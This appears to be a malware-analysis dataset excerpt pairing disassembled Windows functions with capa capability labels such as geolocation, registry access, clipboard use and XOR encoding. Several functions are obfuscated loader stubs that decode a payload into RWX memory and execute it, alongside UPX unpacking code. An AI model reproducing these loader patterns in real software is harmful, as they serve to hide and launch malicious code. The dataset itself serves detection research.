joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d6a504b
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d6e05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d6d4b38]
fld qword [0x6d6d4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d6d4b28]
fadd qword [0x6d6d4b20]
call fcn.6d6a8b70
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x7f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.6d6aa5f6
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x6d6a5192
push dword [ebp - 0x78]
jmp 0x6d6a5197
push 0x6d6d4dc0
push 0x20
push eax
call fcn.6d6aa5f6
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d6a886c
add ebp, 0x7d8
leave
ret 0x14
Function at 0x6d6a61f6
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x6d6e05c8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x80
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d6a6268
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d6a6268
push str.ia64
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x6d6a6268
xor esi, esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.6d6a886c
add ebp, 0x78
leave
ret

Function at 0x6d6a886c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d6e05c8]
jne 0x6d6a8876
repz ret
jmp fcn.6d6afa4c

Function at 0x6d6aa5f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x6d6aa605
pop dword [ebp - 0x4c]
mov eax, 0x3e34e300
add eax, 0x2f35c305
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x4246a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x42a8
mov edx, eax
mov edi, 0xa994d23d
sub edi, 0x3c22023d
add edi, dword [ebp - 0x4c]
mov esi, 0x3c9449ec
xor dword [ebp - 0x20], 0x1abe1009
mov ebx, dword [edi]
xor dword [ebp - 4], 0x1c50c57b
sub ebx, esi
sub dword [ebp - 0x34], 0x242172b3
mov dword [edx], ebx
mov dword [ebp - 0x48], 0x69dcec6b
add edx, 4
add edi, 4
loop 0x6d6aa653
add eax, 0xfd73
xor ebx, ebx
add ebx, eax
add eax, 0xb4b531b7
sub eax, 0xb4b531b2
mov ecx, 0xd34d6d3c
add ecx, 0x9a1b92c4
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x6d6cee03
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d6e7248], 0
push esi
push edi
jne 0x6d6ced74
call fcn.6d6cecce
test eax, eax
je 0x6d6cedb9
mov eax, dword [0x6d6e7248]
cmp eax, 1
jne 0x6d6ced95
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d6cedb9
jmp 0x6d6cedfb
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d6cedfb
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d6cedbd
xor eax, eax
jmp 0x6d6cedfb
mov eax, dword [esi]
push dword [0x6d6e7248]
call edi
mov edi, eax
test edi, edi
je 0x6d6ceddf
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d6cedfb
lea edi, [esi + 0xff0]
push esi
push dword [0x6d6e7248]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d6cede5
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d6ced60
Function at 0x10033b30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10033b3f
pop dword [ebp - 0x30]
mov eax, 0xed9d4f07
add eax, 0x2265ec38
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xacca1475
sub dword [ebp - 0x40], 0x5e77cf2a
mov dword [ebp - 0x3c], 0x8d4bd5ef
sub dword [ebp - 0x3c], 0x5b1889aa
mov dword [ebp - 0x38], 0x14a30145
add dword [ebp - 0x38], 0x37a942e9
mov dword [ebp - 0x34], 0xf2ba76a4
add dword [ebp - 0x34], 0xd45895c
lea eax, [ebp - 0x40]
push eax
mov eax, 0x7883bd0
sub eax, 0xf7845b54
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x86890c
sub dword [ebp - 0x40], 0x8c141fb6
mov dword [ebp - 0x3c], 0xc228ee95
add dword [ebp - 0x3c], 0x7f4372e0
mov dword [ebp - 0x38], 0xc7bb95b5
sub dword [ebp - 0x38], 0x644c2949
mov dword [ebp - 0x34], 0x94b92f1e
add dword [ebp - 0x34], 0x6b46d0e2
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x62995336
add eax, 0xad6a8d4e
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x41c4f
push 0
call eax
mov ecx, 0x3c2e7cc4
sub ecx, 0x3c2e242d
mov esi, eax
mov edi, 0xbb1d83a1
sub edi, 0xab1671a1
add edi, dword [ebp - 0x30]
mov ebx, 0x318729b7
add ebx, 0x85cf21b
add dword [ebp - 0x20], 0xbb071486
mov edx, dword [edi]
add dword [ebp - 0x18], 0x5c94d811
add edx, ebx
xor dword [ebp - 0x28], edx
mov dword [esi], edx
sub dword [ebp - 8], ebx
add esi, 4
add edi, 4
loop 0x10033c61
add eax, 0xb0ab08ab
sub eax, 0xb0a9b37c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4e6f430
add ecx, 0xb190bd0
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x1003aaa0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
push 0x100000
lea eax, [esp + 0xc]
mov dword [esp + 4], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x14], 0xc
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 1
call dword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
je 0x1003ab3a
mov eax, dword [esp]
cdq
push esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x20], edx
cdq
mov dword [esp + 0x24], eax
mov eax, dword [edi]
push 2
mov dword [esp + 0x2c], edx
push edi
mov eax, dword [eax + 0x2d0]
call eax
mov esi, eax
test esi, esi
je 0x1003ab32
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
push ecx
push 2
push 0
mov eax, dword [eax + 0x350]
push esi
push edi
call eax
mov eax, esi
pop edi
pop esi
add esp, 0x24
ret 8
xor eax, eax
add esp, 0x24
ret 8

Function at 0x1003abd0
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
push dword [esp + 0x1c]
push edi
mov eax, dword [edi]
mov eax, dword [eax + 0x398]
call eax
mov ecx, dword [edi]
mov ebx, eax
push dword [esp + 0x1c]
push edi
mov ecx, dword [ecx + 0x39c]
call ecx
mov dword [esp + 0xc], 0
test ebx, ebx
jne 0x1003ac0a
pop edi
or eax, 0xffffffff
pop ebx
ret 0x14
push 0
lea ecx, [esp + 0x10]
push ecx
push eax
push ebx
push dword [esp + 0x24]
call dword [sym.imp.kernel32.dll_ReadFile]
mov ecx, dword [esp + 0xc]
test eax, eax
mov edx, 0xfffffffe
cmove ecx, edx
pop edi
mov eax, ecx
pop ebx
ret 0x14

Function at 0x1003ac40
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push dword [esp + 0x14]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x398]
call eax
mov dword [esp + 4], 0
test eax, eax
jne 0x1003ac65
or eax, 0xffffffff
ret 0x18
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x1003ac75
lea eax, [esi - 2]
pop esi
ret 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push esi
push eax
push dword [esp + 0x20]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x1003ac95
mov eax, 0xfffffffd
pop esi
ret 0x18
push dword [esp + 0x10]
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
xor eax, eax
mov ecx, 0xfffffffc
cmp esi, dword [esp + 8]
pop esi
cmovne eax, ecx
ret 0x18

Function at 0x438ca2
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x438a14
sub ecx, ecx
call fcn.00438ce0
mov ecx, 0x54b83e57
mov eax, eax
xor dword [edi], edx
sub ecx, 0x1ecd6749
add eax, 0xc90e83e5
add edi, 1
dec eax
add eax, 0xb99162db
push ecx
mov eax, dword [esp]
add esp, 4
cmp edi, ebx
jne fcn.00438ca2
or ecx, ecx
ret
Function at 0x405f82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x405f91
pop dword [ebp - 0xc]
mov eax, 0x405f91
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xed3f45dc
add dword [ebp - 0x1c], 0x6112ff6f
mov dword [ebp - 0x18], 0x99f1f385
sub dword [ebp - 0x18], 0x67bea740
mov dword [ebp - 0x14], 0xa0a0ff4e
add dword [ebp - 0x14], 0xabab44e0
mov dword [ebp - 0x10], 0xca2840ca
sub dword [ebp - 0x10], 0xca2840ca
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xeaaca987
add dword [ebp - 0x1c], 0x89c5bfcf
mov dword [ebp - 0x18], 0xbe332ca4
sub dword [ebp - 0x18], 0x7cc6cb2f
mov dword [ebp - 0x14], 0xa2638358
sub dword [ebp - 0x14], 0x3ef416ec
mov dword [ebp - 0x10], 0xca5f999
sub dword [ebp - 0x10], 0xca5f999
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xb632502c
sub eax, 0xb5f1df18
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x37495
push 0
call eax
mov ecx, 0xd3141ccf
sub ecx, 0xd313d560
mov ebx, eax
mov edx, 0x68d88e92
add edx, 0x976a976e
add edx, dword [ebp - 0xc]
mov edi, 0x6437e1a9
add edi, 0x9cc805ee
add dword [ebp - 4], edi
mov esi, dword [edx]
xor dword [ebp - 4], 0x7a79fa89
add esi, edi
xor dword [ebp - 4], 0x8d6ff9b3
mov dword [ebx], esi
sub dword [ebp - 4], 0x9674a158
add ebx, 4
add edx, 0xfce1cd81
sub edx, 0xfce1cd7d
loop 0x4060a9
add eax, 0xa488f28a
add eax, 0x5b781e05
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x206d14b9
sub ecx, 0x202d14b9
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x412ec0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f02e
lea edi, [esi - 0xe02e]
push edi
or ebp, 0xffffffff
jmp 0x412ee2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x412ee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x412ed8
mov eax, 1
add ebx, ebx
jne 0x412efb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x412ef0
jne 0x412f0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x412ef0
xor ecx, ecx
sub eax, 3
jb 0x412f20
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x412f92
mov ebp, eax
add ebx, ebx
jne 0x412f2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x412f38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x412f5c
inc ecx
add ebx, ebx
jne 0x412f48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x412f3d
jne 0x412f59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x412f3d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x412f7c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x412f6d
jmp 0x412ede
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x412f7c
add edi, ecx
jmp 0x412ede
pop esi
mov edi, esi
mov ecx, 0x2e8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x412f9a
cmp byte [edi], 0
jne 0x412f9a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x412f9f
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x41300e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x140ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x14164]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x412fcc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x14168]
or eax, eax
je 0x413008
mov dword [ebx], eax
add ebx, 4
jmp 0x412fe9
call dword [esi + 0x1416c]
popal
jmp section.UPX0

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x6a746b99
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x4ad0163b
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406610
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406676
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404404
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ce0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406660
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40667d
lea eax, [ebp - 0x10]
call fcn.00404184
ret

Function at 0x40d09c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d0d5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404274
jmp 0x40d0de
mov eax, ebx
mov edx, esi
call fcn.004041d8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40d0e8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d109
mov al, byte [esp]
jmp 0x40d10b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40d790
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40d608
mov eax, dword [0x533828]
cmp byte [eax], 0
je 0x40d80c
mov eax, dword [0x533460]
call fcn.00402af4
call fcn.0040291c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409bc8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40d854
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40d842
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x5333bc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x534668]
call fcn.00405b24
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x4354dc
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404644
xor eax, eax
push ebp
push 0x43560a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x4355dd
xor eax, eax
push ebp
push 0x4355d6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404454
inc eax
push eax
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4355ab
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov ebx, eax
xor eax, eax
push ebp
push 0x43559a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404454
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00404654
mov edx, ebx
pop ecx
call fcn.004029b0
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 8]
push eax
push 1
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4355a1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret
mov ecx, dword [0x5332b8]
mov dl, 1
mov eax, dword [0x407eb8]
call fcn.0040d914
call fcn.00403b00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435611
lea eax, [ebp - 4]
call fcn.00404184
ret
Function at 0x437680
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor edx, edx
push ebp
push 0x437752
push dword fs:[edx]
mov dword fs:[edx], esp
push ebx
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x437724
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
xor edx, edx
push ebp
push 0x437713
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, eax
mov eax, edi
mov ecx, ebx
call fcn.004029b0
mov eax, dword [ebp - 4]
call fcn.004375bc
mov eax, dword [ebp - 8]
push eax
movzx eax, si
push eax
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43771a
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret

Function at 0x437764
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4377d6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4377aa
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.0040438c
jmp 0x4377b1
mov eax, ebx
call fcn.00404184
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4377dd
cmp dword [ebp - 8], 0
je 0x4377cd
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret

Function at 0x43780c
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor edx, edx
push ebp
push 0x4378ae
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
je 0x437881
mov edx, ebx
mov eax, dword [0x427bcc]
call fcn.0042c254
test al, al
je 0x437871
movzx eax, bx
push eax
call sub.user32.dll_GetClipboardData
mov esi, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, esi
mov edx, ebx
mov eax, edi
call fcn.0042c164
call fcn.00403bac
jmp 0x4378b5
movzx eax, bx
push eax
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
jne 0x43783c
mov ecx, dword [0x533390]
mov dl, 1
mov eax, dword [0x407eb8]
call fcn.0040d914
call fcn.00403b00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4378b5
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x43aa6c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0043a63c
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404654
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x43aaca
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x533678]
mov dl, 1
mov eax, dword [0x43a534]
call fcn.0040d950
call fcn.00403b00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43aad4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404654
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x43ab2c
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x533a6c]
mov dl, 1
mov eax, dword [0x43a534]
call fcn.0040d950
call fcn.00403b00
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0043a66c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x44b39c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, edx
mov esi, eax
mov eax, esi
call fcn.00461f08
test al, al
je 0x44b3f7
cmp bl, 7
jne 0x44b3d3
push 2
lea eax, [esp + 4]
push eax
push 0x100c
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
movzx edi, byte [esp]
sub edi, 0x30
jmp 0x44b3d8
mov edi, ebx
and edi, 0x7f
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0xd0]
test eax, eax
je 0x44b3f7
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0xd0]
mov edx, edi
call fcn.004313c4
mov byte [esi + 0x220], bl
pop edx
pop edi
pop esi
pop ebx
ret